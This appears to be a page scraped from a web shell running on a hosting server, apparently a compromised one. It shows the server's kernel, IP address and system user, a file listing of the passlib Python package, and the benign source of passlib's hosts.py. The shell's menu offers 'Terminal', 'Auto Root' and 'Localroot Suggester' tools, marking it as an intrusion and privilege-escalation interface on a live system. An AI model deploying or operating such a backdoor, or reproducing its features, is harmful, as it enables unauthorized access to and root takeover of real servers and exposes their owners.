Linux ams-business-8.hostwindsdns.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
LiteSpeed
Server IP : 192.236.177.161 & Your IP : 216.73.216.50
Domains :
Cant Read [ /etc/named.conf ]
User : ajzdfbpz
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python3.6 /
site-packages /
passlib /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2024-02-13 01:26
_data
[ DIR ]
drwxr-xr-x
2024-02-13 01:26
_setup
[ DIR ]
drwxr-xr-x
2024-02-13 01:26
crypto
[ DIR ]
drwxr-xr-x
2024-02-13 01:26
ext
[ DIR ]
drwxr-xr-x
2024-02-13 01:26
handlers
[ DIR ]
drwxr-xr-x
2024-02-13 01:26
tests
[ DIR ]
drwxr-xr-x
2024-02-13 01:26
utils
[ DIR ]
drwxr-xr-x
2024-02-13 01:26
__init__.py
87
B
-rw-r--r--
2019-11-22 21:52
apache.py
45.56
KB
-rw-r--r--
2019-11-12 18:47
apps.py
6.73
KB
-rw-r--r--
2019-11-12 18:47
context.py
106.48
KB
-rw-r--r--
2019-11-12 18:47
exc.py
11.31
KB
-rw-r--r--
2019-11-10 16:38
hash.py
3.62
KB
-rw-r--r--
2019-11-12 18:47
hosts.py
3.22
KB
-rw-r--r--
2016-11-23 03:20
ifc.py
13.86
KB
-rw-r--r--
2017-01-30 18:18
pwd.py
28.01
KB
-rw-r--r--
2019-11-10 19:52
registry.py
19.6
KB
-rw-r--r--
2019-11-12 18:47
totp.py
71.32
KB
-rw-r--r--
2019-11-12 18:47
win32.py
2.53
KB
-rw-r--r--
2019-11-12 18:47
Save
Rename
"""passlib.hosts""" #============================================================================= # imports #============================================================================= # core from warnings import warn # pkg from passlib.context import LazyCryptContext from passlib.exc import PasslibRuntimeWarning from passlib import registry from passlib.utils import has_crypt, unix_crypt_schemes # local __all__ = [ "linux_context", "linux2_context", "openbsd_context", "netbsd_context", "freebsd_context", "host_context", ] #============================================================================= # linux support #============================================================================= # known platform names - linux2 linux_context = linux2_context = LazyCryptContext( schemes = [ "sha512_crypt", "sha256_crypt", "md5_crypt", "des_crypt", "unix_disabled" ], deprecated = [ "des_crypt" ], ) #============================================================================= # bsd support #============================================================================= # known platform names - # freebsd2 # freebsd3 # freebsd4 # freebsd5 # freebsd6 # freebsd7 # # netbsd1 # referencing source via -http://fxr.googlebit.com # freebsd 6,7,8 - des, md5, bcrypt, bsd_nthash # netbsd - des, ext, md5, bcrypt, sha1 # openbsd - des, ext, md5, bcrypt freebsd_context = LazyCryptContext(["bcrypt", "md5_crypt", "bsd_nthash", "des_crypt", "unix_disabled"]) openbsd_context = LazyCryptContext(["bcrypt", "md5_crypt", "bsdi_crypt", "des_crypt", "unix_disabled"]) netbsd_context = LazyCryptContext(["bcrypt", "sha1_crypt", "md5_crypt", "bsdi_crypt", "des_crypt", "unix_disabled"]) # XXX: include darwin in this list? it's got a BSD crypt variant, # but that's not what it uses for user passwords. #============================================================================= # current host #============================================================================= if registry.os_crypt_present: # NOTE: this is basically mimicing the output of os crypt(), # except that it uses passlib's (usually stronger) defaults settings, # and can be inspected and used much more flexibly. def _iter_os_crypt_schemes(): """helper which iterates over supported os_crypt schemes""" out = registry.get_supported_os_crypt_schemes() if out: # only offer disabled handler if there's another scheme in front, # as this can't actually hash any passwords out += ("unix_disabled",) return out host_context = LazyCryptContext(_iter_os_crypt_schemes()) #============================================================================= # other platforms #============================================================================= # known platform strings - # aix3 # aix4 # atheos # beos5 # darwin # generic # hp-ux11 # irix5 # irix6 # mac # next3 # os2emx # riscos # sunos5 # unixware7 #============================================================================= # eof #=============================================================================